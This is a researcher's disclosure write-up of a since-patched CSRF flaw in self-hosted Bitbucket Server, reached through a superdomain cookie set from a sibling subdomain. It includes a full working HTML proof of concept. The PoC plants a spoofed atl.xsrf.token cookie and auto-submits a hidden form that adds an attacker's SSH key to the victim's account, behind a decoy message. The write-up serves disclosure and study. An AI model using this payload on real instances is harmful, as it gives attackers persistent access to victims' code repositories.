All Articles

Bitbucket CSRF on SSH Add Key Endpoint via superdomain cookie

In October 2022 I found a pretty specific CSRF vulnerability on Bitbucket Server (the self hosted version). Since it has now been patched*, here are the details.

Summary

Assuming your bitbucket instance is hosted on a shared superdomain, e.g. bitbucket.corpo.internal and that attacker can control javascript execution on a sibling domain, e.g. evil.playground.corpo.internal.

By setting a superdomain cookie, an attacker could spoof the atl.xsrf.token from a sibling domain and thereby bypass the CSRF protection on the page for adding an SSH key to your account (/plugins/servlet/ssh/account/keys/add).

By abusing this, an attacker with some internal access could via a malicious link add their SSH key to a victim account.

Words are hard, so here is a gif demoing the attack.

GIF showing the attack click for larger

PoC

Here’s a proof of concept that hopefully explains it better than a lengthy essay.

<!-- Host this on some.other.subdomain.corpo.internal -->
<!-- Host bitbucket server on bitbucket.corpo.internal -->
<html>
  <head>
    <meta charset="utf8" />
  </head>
  <script>
    document.cookie =
      "atl.xsrf.token=13371337133713371337133713371337;expires=1797039587484;domain=corpo.internal;path=/";

    // Setting the path here seems to put this cookie first, nice!
    document.cookie =
      "atl.xsrf.token=13371337133713371337133713371337;expires=1797039587484;domain=corpo.internal;path=/plugins/servlet/ssh/account/keys/add";

    function onload() {
      const els = document.getElementsByTagName("form");
      for (let i = 0; i < els.length; i++) els[i].submit();
    }
  </script>

  <body onload="onload()" style="padding: 300px">
    <form
      style="display: none"
      id="ssh-key"
      method="post"
      action="https://bitbucket.corpo.internal/plugins/servlet/ssh/account/keys/add"
      target="result"
    >
      <textarea name="text" id="hehe">
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTbs0XOd+B3vEB86v18GRIMqZCk9VQfARFUPw26cfigSDZsl5HO2RwUwuwpGs+FREPRqPQeYMhNmwo/f+IFrm344VlKchDVBf7zFQuNK1SMJDfh6ixGEE7VRru9ZgolgUBQK5m31JMuyAi88ws6AIV18ZVcQmB3U2dh6a1Z+lGpX56Ih7MorFt9RwCByEol/ph6x2DYsonRr7esHp73lxHsg0v7WalXxaJzk2VV+RMonIdFJB1fYZsDtI4ZWNf3MRtclbQ30WcCpYdLtQ6BJ1xzF5KLXQFEMUgGPcEkRED4/eoZR6eSxJAE6esHOuAgpuy0f3pdh2ATSPhCZIe4G93p3qte3VPrC2Qf2mDCTtgpnz63lL/6Nmi66UxKHDaOzj1wb++GTM03fakr5cI7KCXxWDdYIe8RdbKH+ZzWWSautnRRlnqGIJCut0cKjd+zJHG3bS+xbkRVpQQtrNDyddZs+TL9s3+1m0JbLjxwadI0eSj3Z5gbTee9UlS3cpOpW0= hehehe</textarea
      >
      <input
        type="text"
        name="atl_token"
        value="13371337133713371337133713371337"
      />
      <input type="submit" name="Add+key" />
    </form>

    <h1 id="msg">Generating Super Secure SSH key for you...</h1>

    <iframe style="display: none" id="result" name="result"></iframe>
  </body>
</html>

To actually run it together with bitbucket, you can try a dockerized setup I packaged: /zips/bitbucket-ssh-csrf-poc.zip.

Disclosure

I reported the issue via bugcrowd on October 21st, but it was closed as a duplicate.

The vulnerability was not assigned a CVE, and it did not get published as a security fix. https://jira.atlassian.com/browse/BSERV-13548

Published Feb 17, 2023

Security Engineer with a dash of software. Originally from Stockholm, now in Berlin. I like to hack things.